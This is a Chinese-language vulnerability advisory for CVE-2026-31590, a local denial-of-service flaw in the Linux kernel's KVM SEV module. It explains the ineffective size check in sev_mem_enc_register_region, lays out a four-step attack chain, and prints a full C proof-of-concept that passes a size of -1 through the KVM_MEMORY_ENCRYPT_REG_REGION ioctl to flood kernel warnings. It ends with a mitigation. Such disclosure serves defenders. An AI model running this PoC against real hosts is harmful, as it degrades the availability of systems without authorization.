IPBUF安全漏洞报告
English
CVE-2026-31590 CVSS 5.5 中危

CVE-2026-31590 Linux内核KVM SEV拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31590
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务KVMSEV本地漏洞

漏洞概述

Linux内核KVM SEV模块存在一处逻辑缺陷,允许本地低权限用户触发拒绝服务条件。漏洞源于`sev_pin_memory()`函数在处理大尺寸内存区域注册时,会触发一个关于整数溢出的警告。由于相关的输入验证逻辑存在漏洞,无法有效过滤无效的`u64`地址和大小参数,攻击者可以通过构造特定的IOCTL请求,传入极值参数来轻易触发该警告。这种频繁的警告触发可能导致系统日志资源耗尽或引发内核不稳定,从而影响系统可用性。

技术细节

该漏洞发生在Linux内核的KVM SEV(安全加密虚拟化)子系统中,核心问题在于对`KVM_MEMORY_ENCRYPT_REG_REGION` ioctl命令的处理。在`sev_pin_memory()`函数中,代码计算页面数量时检查其是否溢出`int`类型,并在溢出时触发`WARN_ON`。然而,前置的`sev_mem_enc_register_region()`检查逻辑无效,因为它试图将`u64`类型的变量与`ULONG_MAX`比较,这在64位系统上是无效的。攻击者只需拥有本地低权限,即可构建一个`kvm_enc_region`结构体,将`size`字段设置为`-1ul`(即0xFFFFFFFFFFFFFFFF)。当该结构体通过ioctl传递给内核时,无效检查通过,但在计算页面数时会发生溢出,导致WARN被触发。虽然这不会直接导致代码执行,但利用此漏洞可导致控制台日志泛滥或潜在的内核资源耗尽,造成拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2
攻击者编写恶意代码,构造一个`kvm_enc_region`结构体,将`size`字段设置为`-1ul`(即UINT64_MAX)。
STEP 3
步骤3
攻击者打开`/dev/kvm`设备,创建虚拟机,并调用`KVM_MEMORY_ENCRYPT_REG_REGION` ioctl接口传入恶意结构体。
STEP 4
步骤4
内核在处理该请求时,`sev_pin_memory()`函数检测到页面数溢出并触发`WARN_ON`,导致内核日志被刷屏或资源耗尽,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <linux/kvm.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdint.h> int main() { // Open the KVM device int kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Create a virtual machine int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // Prepare the malicious region structure // Setting size to -1ul (max unsigned long) to trigger integer overflow in npages calculation struct kvm_enc_region range = { .addr = 0, .size = (unsigned long)-1, // -1ul }; printf("Triggering CVE-2026-31590 by registering a region with size: %lu\n", range.size); // Execute the IOCTL to register the encrypted memory region // This calls sev_mem_enc_register_region -> sev_pin_memory // The kernel will trigger a WARN due to npages > INT_MAX int ret = ioctl(vm_fd, KVM_MEMORY_ENCRYPT_REG_REGION, &range); if (ret < 0) { // The IOCTL is expected to fail (return -EINVAL or similar), // but the goal is to trigger the WARN in the kernel log (dmesg). perror("ioctl KVM_MEMORY_ENCRYPT_REG_REGION failed"); } else { printf("IOCTL succeeded (unexpected).\n"); } close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel (特定版本前)

防御指南

临时缓解措施
建议限制对`/dev/kvm`设备文件的访问权限,仅允许可信的用户或虚拟机管理程序访问,以防止本地低权限用户触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表